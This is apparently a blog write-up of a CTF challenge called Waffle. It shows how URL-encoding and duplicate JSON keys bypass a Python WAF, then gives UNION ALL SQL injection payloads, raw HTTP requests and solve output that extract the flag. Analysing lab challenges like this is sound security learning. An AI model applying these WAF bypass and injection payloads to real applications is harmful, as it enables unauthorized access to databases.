m0leCon CTF 2021 Teaser — Bypassing WAF

6 min readMay 31, 2021


This was a very interesting challenge, called Waffle, where I worked with a group of kick-ass Hackers/CTF Players, and it was great!

M0lecon CTF 2021 Challenges

Challenge: Waffle

In this challenge, we have access to 2 apps:

  • 1 Go App (main.go) — Well.. The main App
  • 1 Python/Flask App (waf.py) — The WAF 😡

The main app starts by opening a SQLite3 database and declaring its web routes:

  • /search
  • /gettoken
  • / (static files)

Before getting into the WAF itself, let’s analyze more of the main app, to discover more details about the target, starting with the /search route.

Beginning of the searchWaffle function

As we see, it checks if we have the “token” Cookie before searching anything. Since we don’t have the token, we can’t search anything for now. But since we have a /gettoken, looks like we’ll not have any trouble right? Wrong.

The Free Token

This is the gettoken function on the main app:

gettoken function on the main App


  • Gets the parameters creditcard and promocode
  • If promocode is “FREEWAF”, just returns the token!

Looks like is just get it but… we need to talk about the WAF.

Meet the WAF

The WAF, in this case, is a Python app in front of our main Go app, blocking dangerous things to prevent bad people like you to do nasty things on the app.


  • The catch_all function processes all the requests (except for /search below, which we’ll ignore for now).
  • If it is the /gettoken, gets the creditcard and promocode (just like the main app)
  • If the promocode if FREEWAF, it BLOCKS THE REQUEST, returning an HTTP 400.
  • If it is not the gettoken, just send it to the main app, without the parameters (else block).

The main app just give us the token with FREEWAF promocode, but the WAF blocks it. We got the first part of the challenge.

Let’s try it just for fun:

$ curl localhost:1337/gettoken
{“err”:”Paramerer ‘creditcard’ is missing”}

$ curl localhost:1337/gettoken?creditcard=123\&promocode=FREEWAF
{“err”:”Sorry, this promo has expired”}

Round 1

It took me some time studying it, but I found that one of the common ways of bypassing a WAF is by double-quoting the request. Let’s understand it.

$ python
Python 3.8.9 (default, Apr 3 2021, 01:00:00)
[GCC 7.5.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> from urllib import parse
>>> gettoken_url = 'gettoken?promocode=FREEWAF&creditcard=yourcard'
>>> gettoken_url_bypass = parse.quote(gettoken_url)
>>> print(gettoken_url_bypass)

By quoting the url, you mask the separators like ‘?’. Now, the parameters are part of the URL string and it works like there is no parameters. The protection code below should be bypassed.

if promo == 'FREEWAF':
res = jsonify({'err':'Sorry, this promo has expired'})
res.status_code = 400
return res

After that, it should just call the main app.

r = requests.get(appHost+path, params={'promocode':promo,'creditcard':creditcard})

Let’s check:

$ curl -v
* Trying
* Connected to ( port 1337 (#0)
> GET /gettoken%3Fpromocode%3DFREEWAF%26creditcard%3Dyourcard HTTP/1.1
> Host:
> User-Agent: curl/7.68.0
> Accept: */*
* Mark bundle as not supporting multiuse
* HTTP 1.0, assume close after body
< HTTP/1.0 200 OK
< Set-Cookie: token=NEPTUNED
< Date: Sun, 30 May 2021 21:25:23 GMT
< Content-Length: 32
< Content-Type: text/plain; charset=utf-8
< Server: Werkzeug/1.0.1 Python/3.8.9
{"msg":"Take your free token!"}
* Closing connection 0

We got our (local/fake) token!

Searching the Flag

Let’s take a look at the Search function:


  • This is a POST endpoint, receiving JSON data.
  • It searches the waffle table by name, min and max radius, which are the parameters received in the JSON.
  • The JSON is parsed using github.com/buger/jsonparser package.
  • Concatenate string to build the complete SQL command.
  • Some very obvious SQL Injection vulnerabilities in the code.
  • Encode the result lines as JSON and send the result.

Let’s test the basics, so the WAF wont bark at us (for now).

$ curl -X POST -d {}
{"err":"You need a valid token"}
$ curl --cookie 'token=NEPTUNED' -d '{"name": "x"}' -X POST
$ curl --cookie 'token=NEPTUNED' -d '{"name": "Neptunian"}' -X POST


  • Tested without the token. We knew the main app would block.
  • Tested with the token, using a random name parameter. No results.
  • Tested with the token, using a known name parameter. All the results for that name.

Nice but… let’s look back at the real opponent: the WAF.


  • Parses the JSON result (j).
  • Checks if the value of the name parameter is an alphanumeric string.
  • Checks if the values of the min and max parameters are integer numbers.
  • Ignores any other parameters.
  • If some parameter fails this condition, blocks the request (HTTP 400).
  • If no problems are found, send the original request to the main app (keep it in mind).

Round 2

Let’s see if this is serious:

$ curl --cookie 'token=NEPTUNED' -d '{"name": "\"Neptunian"}' -X POST
{"err":"Bad request, filtered"}

It looks like there is no bullshit about the WAF, and it blocks our SQL Injection attempt. We can’t use the same solution that gave us the token, because the parameters are sent by POST now.

After fighting for hours with some \x00-like escapes, without success, the solution was to send the name twice (At first, I thought the solution was an unicode escape).

To make a simple check, let’s inject a quote on the string to break the SQL and generate an error. The move here is to send the quote in the first name. In this case, the Python WAF use the second name and the Go App use the first.

$ nc 1337
POST /search HTTP/1.1
Host: localhost:1337
Content-Type: application/json
Cookie: token=NEPTUNED
Content-Length: 33
{"name": "abc'", "name": "Hello"}
Date: Mon, 31 May 2021 00:07:28 GMT
Content-Length: 55
Content-Type: text/plain; charset=utf-8
Server: Werkzeug/1.0.1 Python/3.8.9
{"err":"DB error, something was wrong with the query"}

Sweet! WAF bypassed forever! But… where’s the flag?

Capturing the Flag

After so much blood spilled, we can finally inject some SQL. I’ll not explain the basics of SQL Injection here, since it is vastly explored, but OWASP has a good documentation.

A table named flag is always a good guess. The original query, with the name column in the filter is concatenated like that:

SELECT name, radius, height, img_url FROM waffle
WHERE name = 'some_name'

Let’s inject via UNION ALL, like this:

SELECT name, radius, height, img_url FROM waffle
WHERE name = 'some_name'
UNION ALL SELECT 1, 2, 3, 4 from flag
WHERE ''='

We can also guess that flag is the column name with the flag string (it’s always a good guess).

SELECT name, radius, height, img_url FROM waffle
WHERE name = 'some_name'
UNION ALL SELECT flag, 2, 3, 'SQL Injected!' from flag
WHERE ''='

Nice! This is just too big and boring to send in curl. Python is beautiful to wrap it all together.


  • Get the token using the double-quote bypass (part 1)
  • Prepare the SQL Injection payload
  • Prepare the JSON data.
  • Send the payload, with the token cookie, using requests

We will only believe it when we see it working:

$ python solve.py 
/gettoken Response: {“msg”:”Take your free token!”}
“{\”name\”: \”abc’ UNION ALL SELECT flag, 1, 2, ‘SQL Injected!’ FROM flag WHERE ‘’=’\”, \”name\”: \”Hello\”}”
[{“name”:”CTF{FLAG_HERE}”,”radius”:1,”height”:2,”img_url”:”SQL Injected!”}]


In the real CTF, I got the flag while trying the unicode payload, so there was a small difference:

$ python solve.py 
/gettoken Response: {“msg”:”Take your free token!”}
Token: LQuKU5ViVGk4fsytWt9C
“{\”n\\u0061me\”: \”abc’ UNION ALL SELECT flag, 1, 2, ‘SQL Injected!’ FROM flag WHERE ‘’=’\”, \”name\”: \”Hello\”}”
[{“name”:”ptm{n3ver_ev3r_tru5t_4_pars3r!}”,”radius”:1,”height”:2,”img_url”:”SQL Injected!”}]


“Never ever trust a parser”

Great CTF!